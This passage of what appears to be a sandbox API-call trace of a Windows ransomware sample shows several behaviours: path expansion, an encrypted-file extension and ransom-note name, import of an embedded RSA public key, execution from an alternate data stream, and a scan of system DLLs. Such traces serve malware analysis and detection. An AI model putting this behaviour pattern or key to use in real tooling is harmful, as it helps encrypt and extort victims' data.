Flags=0x0, BaseAddress=0x1d3d288) returned 1 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c240) returned 1 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0040.802] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0040.802] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x1c32850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0040.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c32850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0040.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c32850, cbMultiByte=14, lpWideCharStr=0x1d3dfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0040.803] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x1c32850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0040.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c32850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0040.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c32850, cbMultiByte=10, lpWideCharStr=0x1d3e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0040.803] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x1c32850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0040.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c32850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0040.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c32850, cbMultiByte=15, lpWideCharStr=0x1d3e0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0040.803] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x1c32850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0040.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c32850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0040.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c32850, cbMultiByte=56, lpWideCharStr=0x1d3e158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0040.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c35058, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0040.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c35058, cbMultiByte=10, lpWideCharStr=0x1d3e1e0, cchWideChar=10 | out: lpWideCharStr=".al1b1nal1") returned 10 [0040.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c35058, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0040.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c35058, cbMultiByte=17, lpWideCharStr=0x1d3e268, cchWideChar=17 | out: lpWideCharStr=".al1b1nal1_readme") returned 17 [0040.803] WaitForSingleObject (hHandle=0x90, dwMilliseconds=0xffffffff) returned 0x0 [0040.804] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvK7BkqmRQEG8F5Pj95Nf\r\nhhrROextZKwsM5cpArUI1r+jsTN2EUdYuqtDNfT/rnR55hEhDXJWiMBTj61EbK/k\r\nrh1fdtrK6kiyXlquACjLAdrqWNixEKFZHCw9YUALsq46+KI2z378WWk5TRWYWvKI\r\noDMskcFAdI7dtxf6myWWf1vqAGmGVyBwwv9Jn19fkE+zF+AtoqjOppuZwQ1dFeMQ\r\n9n3N4zy/kAHBqLzS/qpI7BxrwRECHP0zQtNvdEJBvQs49Ti0ntBbEkSrOEi/PMTK\r\neG0QKZ2LHElpTYg+BG4+zpQw3GrydOEIiOj+EQPT3zb3odYX1/cA/NE8BOSNWb7s\r\nclVzXikO3EH3yDk8gv8SAFEHil+l4ZCd1Fpvhmcbul1uzPy3LBpCTpOcFez4jBvU\r\nDxbV/fvyiFP98duWqJWfoye2ZlZX5eRUJXDyRRC/LmkKqHjPb50l6r8r7Ct+p7yV\r\n+IWn66FdCKWCoDXB5FtTNw78MomBRkyqZfiqGlpK4nIIR4kkD0czzd/jXYft/BWt\r\ntwmrBeBthRxcpDP2MqHr9Fz1Nh1FrmNZb3b++oQyC7S7F7ogQQ2YMojXh7F8Er3i\r\nI9X9HY5b14txXlBYm0bewOlj6vty20mQyV1TlfKTEGr7pqQvHC8ZKaq2YAcJY+s/\r\nCOLhMjWtonbz8DSa4xb7Z/8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0040.804] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvK7BkqmRQEG8F5Pj95Nf\r\nhhrROextZKwsM5cpArUI1r+jsTN2EUdYuqtDNfT/rnR55hEhDXJWiMBTj61EbK/k\r\nrh1fdtrK6kiyXlquACjLAdrqWNixEKFZHCw9YUALsq46+KI2z378WWk5TRWYWvKI\r\noDMskcFAdI7dtxf6myWWf1vqAGmGVyBwwv9Jn19fkE+zF+AtoqjOppuZwQ1dFeMQ\r\n9n3N4zy/kAHBqLzS/qpI7BxrwRECHP0zQtNvdEJBvQs49Ti0ntBbEkSrOEi/PMTK\r\neG0QKZ2LHElpTYg+BG4+zpQw3GrydOEIiOj+EQPT3zb3odYX1/cA/NE8BOSNWb7s\r\nclVzXikO3EH3yDk8gv8SAFEHil+l4ZCd1Fpvhmcbul1uzPy3LBpCTpOcFez4jBvU\r\nDxbV/fvyiFP98duWqJWfoye2ZlZX5eRUJXDyRRC/LmkKqHjPb50l6r8r7Ct+p7yV\r\n+IWn66FdCKWCoDXB5FtTNw78MomBRkyqZfiqGlpK4nIIR4kkD0czzd/jXYft/BWt\r\ntwmrBeBthRxcpDP2MqHr9Fz1Nh1FrmNZb3b++oQyC7S7F7ogQQ2YMojXh7F8Er3i\r\nI9X9HY5b14txXlBYm0bewOlj6vty20mQyV1TlfKTEGr7pqQvHC8ZKaq2YAcJY+s/\r\nCOLhMjWtonbz8DSa4xb7Z/8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x1c37cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x1c37cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0040.804] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x1c37cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0040.808] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x280) returned 0x1c37f40 [0040.808] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x1c37cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x1c37f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x1c37f40, pcbStructInfo=0x18fd24) returned 1 [0040.808] CryptImportPublicKeyInfo (in: hCryptProv=0x23d9a8, dwCertEncodingType=0x10001, pInfo=0x1c37f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x1c37f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x1c37f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x2422e8) returned 1 [0040.809] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c37f40) returned 1 [0040.809] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c37cf8) returned 1 [0040.809] ReleaseMutex (hMutex=0x90) returned 1 [0040.809] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c35058) returned 1 [0040.809] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x2800) returned 0x1c35058 [0040.809] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c900 [0040.809] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c900) returned 1 [0040.809] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c35058) returned 1 [0040.809] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x2800) returned 0x1c35058 [0040.809] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c900 [0040.809] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c900) returned 1 [0040.810] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c900 [0040.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0040.810] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e1e0 [0040.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1d3c900, cbMultiByte=9, lpWideCharStr=0x1d3e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0040.810] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e268 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e1e0) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e268) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c900) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c35058) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c32850) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c240) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d288) returned 1 [0040.810] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d5e8) returned 1 [0040.810] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0040.810] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) returned 0 [0040.813] GetLastError () returned 0x427 [0040.814] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin" [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e268 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x5c) returned 0x1d3dd28 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e1e0 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e2f0 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e378 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e400 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e488 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e510 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e598 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e620 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e6a8 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e730 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e7b8 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x100) returned 0x1c37cf8 [0040.814] GetSystemWow64DirectoryW (in: lpBuffer=0x1c37cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0040.814] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c37cf8) returned 1 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e840 [0040.814] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e840) returned 1 [0040.814] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e840 [0040.814] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x18fb4c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fb4c) returned 0x2425e0 [0040.815] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.815] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.815] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.815] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.815] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.815] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.815] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.815] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.815] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0040.817] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.817] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0040.817] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x1d3c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0040.817] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.817] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.817] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.817] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.817] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.817] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0040.817] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.817] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.817] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.817] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.817] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.817] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.817] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.817] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.817] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0040.817] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.817] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.817] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.817] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.818] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.818] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.818] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.818] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.818] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0040.818] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.818] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.818] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x1d3c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0040.818] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.818] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.818] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.818] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.818] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.818] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0040.818] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.818] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.818] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.818] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.818] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.818] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.818] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.818] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.818] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0040.818] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.818] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.818] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, 